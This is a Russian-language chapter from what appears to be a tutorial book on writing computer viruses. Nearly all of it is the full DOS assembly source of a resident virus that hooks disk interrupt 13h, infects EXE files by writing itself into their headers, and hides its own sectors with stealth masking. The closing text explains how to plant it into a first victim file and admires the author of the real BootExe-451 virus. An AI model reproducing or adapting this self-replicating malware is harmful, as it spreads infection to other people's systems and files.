"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса

Вид материалаДокументы

Содержание


"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
Подобный материал:
1   ...   8   9   10   11   12   13   14   15   16

"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.


Назад | Далее



Вот и сама программа, реализующая представленную блок/схему:


-----------------------------------------------------------¬

¦ пример 17 ¦:

L-----------------------------------------------------------


TITLE Это - COM. программа N17 -- вирус, выполняющий функции загрузчика

ASSUME CS:CodeSegment

;-------------------------------------------------------------------------

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

head: JMP Short initial ;прыжок через данные

;

;------------------------------ данные -----------------¬

header_info DB 62 DUP(0) ;хранилище настроек ¦

; ; ¦

; ;данные (хранилище для ¦

saved_int13: DD 0 ; адреса стандартного обра- ¦

;¦ ; ботчика прерывания 13 ¦

;L---------------------- -- 2 слова) --------------------

;

;

;---посадка резидента в MCB-блок------------------------¬

;L-------------------------------------------------------

initial: MOV AX,CS:[02] ;берем вершину свободной памяти

; ; (в параграфах)

;

SUB AX,20h ;уменьшаем ее на 20h (в парагр.)

;

MOV SI,OFFSET head ;копируем из источника DS:head

MOV ES,AX ;копируем в приемник ES:00; в ES

XOR DI,DI ; - новая вершина своб. памяти

MOV CX,rezident_end - head

CLD

REPE MOVSB

;

MOV BX,DS ;уменьшаем размер МСВ-блока

DEC BX ;уменьшаем вершину свободной

MOV DS,BX ; памяти

SUB word ptr DS:[03h],20h

SUB word ptr DS:[12h],20h

;

XOR BX,BX ; сохраняем старый вектор

MOV DS,BX ; 13h в переслан. копии

MOV AX,DS:[13h*4+0]

MOV word ptr ES:[saved_int13-100h+0],AX

MOV AX,DS:[13h*4+2]

MOV word ptr ES:[saved_int13-100h+2],AX

;

CLI ;кладем в таблицу векторов наш адр.

MOV word ptr DS:[13h*4+0],OFFSET int13_treater-100h ;->OFFSET

MOV word ptr DS:[13h*4+2],ES ;------>SEGMENT

STI

;

PUSH CS ; DS = CS (потом пригодится)

POP DS

;

PUSH ES ; переходим на продолжение (метка

MOV AX,resended-head ; resended), но уже в резидент-

PUSH AX ; ной копии

RETF ;

;

resended: ;---корректировка настраиваемых элементов--------------¬

;L------------------------------------------------------

MOV DX,DS

ADD DX,10h ; DX = сегментн. адрес конца PSP

MOV DI,DS:[118h] ; DI = адрес relocation table

ADD DI,100h ; <-----учет PSP в этом адресе

MOV CX,DS:[106h] ; CX = колич-во настраив. эл-тов

; ; (позиция 06 в заголовке)

;

CMP CX,0 ; а вдруг ничего и не нужно

JE no_relocation ; настраивать?

;

;

again: LES SI,DS:[DI] ; SI=DS:[DI] ES=DS:[DI+2]

ADD DI,0004 ; переходим к следу.щему эл-ту

MOV BP,ES ; -¬ L----(на потом)

ADD BP,DX ; +ES=ES+PSP+20h (учет PSP и за-

ADD BP,20h ; ¦ ¦ головка ЕХЕ-)

MOV ES,BP ; -- L---сегм. адрес

ADD ES:[SI],DX ; настройка эл-та

LOOP again ;

;

no_relocation:;---установка стека ЕХЕ-файла--------------------------¬

;L------------------------------------------------------

MOV BX,DX ; сохраним адрес конца PSP

ADD DX,word ptr DS:[10Eh] ; DX = SS

MOV CX,DS:[110h] ; CX = SP

;

CLI

MOV SS,DX

MOV SP,CX

STI

;

;---заготовка значений CS и IP-------------------------¬

;L------------------------------------------------------

ADD BX,DS:[116h] ; CS

MOV AX,DS:[114h] ; IP

;

;--смещени файла на место заголовка -------------------¬

;L------------------------------------------------------

MOV SI,300h

MOV DI,100h

MOV CX,0EE00h ; по максимуму

CLD

PUSH DS

POP ES

REPE MOVSB

;

;---корректировка значений CS и IP (старт ЕХЕ-файла)---¬

;L------------------------------------------------------

PUSH BX

PUSH AX

RETF

;

;

;-----------наша п/п-а обработки прерывания 13-----------------¬

int13_treater:;¦ (целиком наследуется от V2, лишь корректи- ¦

;¦ руются кое-какие адреса -- учет отсутствия PSP) ¦

m1: PUSH AX ;метки m1 и m2 нужны для ¦

PUSH BX ; выборки сигнатуры для ана- ¦

m2: PUSH ES ; лиза ¦

;- предворительные анализы------------------------------------¬¦

;L-------------------------------------------------------------¦

CMP AH,02 ;файл читается? нет - уходим, ¦

JNE return_int ; возвращая прерыв-е 13 за- ¦

; ; конному владельцу ¦

PUSHF ¦

CALL dword ptr CS:[saved_int13-100h] ;чтение под контролем ¦

; ¦

CMP word ptr ES:[BX],5A4Dh ;ЕХЕ-файл? ¦

JE take_care_of ; да -- познакомимся поближе ¦

; ; нет - проверим нет ли в чи-¦

; ; таемом секторе самогО вируса

; ¦

CMP word ptr ES:[BX+m1-100h],5350h; читается сектор(а), содер-¦

JNE no_virus ; +-- жащий(ие) сам вирус? ¦

CMP word ptr ES:[BX+m2-100h],8006h; 5350h,8006h - его сигнатура

JNE no_virus ;-- нет -- выходим из прерыв-я¦

MOV word ptr ES:[BX],5A4Dh ; ¦

; ¦

;---СТЕЛС-маскировка------------------------------------------¬¦

;L-------------------------------------------------------------¦

PUSH DI ¦

PUSH CX ¦

MOV CX,200h-40h ¦

MOV DI,40h ¦

mask_another: MOV byte ptr ES:[BX+DI],00 ¦

INC DI ¦

LOOP mask_another ¦

POP CX ¦

POP DI ¦

; ¦

JMP Short EXE_simul ;симуляция ЕХЕ-файла ¦

; ¦

take_care_of: ;-------дополнительная проверка пригодности ЕХЕ-файла:--------¬¦

;L-------------------------------------------------------------¦

CMP word ptr ES:[BX+8],20h ;достаточно ли велик заголо- ¦

JB bad_EXE ; вок? (годится не менее 20h)¦

CMP word ptr ES:[BX+6],08h ;достаточно ли мала relocation¦

JA bad_EXE ; ? (годится не более 8h) ¦

CMP word ptr ES:[BX+4],77h ;достаточно ли мал ЕХЕ-файл? ¦

JA bad_EXE ; (годится не более 77h*512) ¦

; ¦

;------репродуктивная часть; (жертва найдена !)---------------¬¦

;L-------------------------------------------------------------¦

landing_craft:PUSH DI ;в тело вируса копируются на- ¦

PUSH SI ; стройки ЕХЕ-заголовка ¦

PUSH CX ; (4 параграфа) ¦

MOV CX,3Eh ; ¦

MOV DI,OFFSET header_info - 100h; если здесь применить обычно¦

MOV SI,BX ; столь экономичную конструк-¦

send_another: MOV AL,ES:[SI+2] ; цию REP MOVS, то мороки бу-¦

MOV byte ptr CS:[DI],AL ; дет пожалуй даже больше ¦

INC DI ; ¦

INC SI ; ¦

LOOP send_another ; ¦

POP CX ; ¦

POP SI ; ¦

POP DI ; ¦

; ¦

MOV AX,0301h ;производится высадка в зара- ¦

MOV BX,OFFSET head - 100h ; жаемый файл ¦

PUSH CS ; ¦

POP ES ; ¦

; ¦

return_int: PUSHF ¦

CALL dword ptr CS:[saved_int13-100h] ¦

; ¦

;-эти метки -- чисто для мнемоники; на каждую управление пере-¬¦

;¦дается ПОСЛЕ определенного этапа выполнения ¦¦

;L-------------------------------------------------------------¦

no_virus: ; вирус не нашел ни себя, ни -- пригодного для зараж-я ЕХЕ-файла

EXE_simul: ; вирус нашел себя и симулирует ЕХЕ-файл ¦

bad_EXE: ; вирус разочаровался в ЕХЕ-файле и не стал с ним возиться ¦

POP ES ¦

POP BX ¦

POP AX ¦

IRET ¦

;¦ ¦

;L--------------------------------------------------------------

rezident_end: ;

starter_end: ;

save_arrea: ;

;

MainProcedure ENDP

;

CodeSegment ENDS

END Start


Чтобы имплантировать вирус в первый файл-жертву, Вы опять должны вос-

пользоваться программой из примера 14.

Процедура обработки прерывания 13h в представленном вирусе практически

такая же, как и в предыдущем примере.

Этот пример мы посвещаем искуству создателя вируса BootExe-451(452), ибо

алгоритм настройки элементов реализуется здесь почти так же как и у него

(экономичнее вряд-ли возможно); да плюс ко всему -- вирус BootExe-451(452)

умеет еще и заражать BootRecord жесткого диска и дискет -- потрясающая удель-

ная мощность!

Ну все. Более мы не будем рассматривать столь экзотичный ныне способ за-

ражения ЕХЕ-файлов, как внедрение в их заголовок. В следующих главах будут

показаны наиболее типичные способы заражения.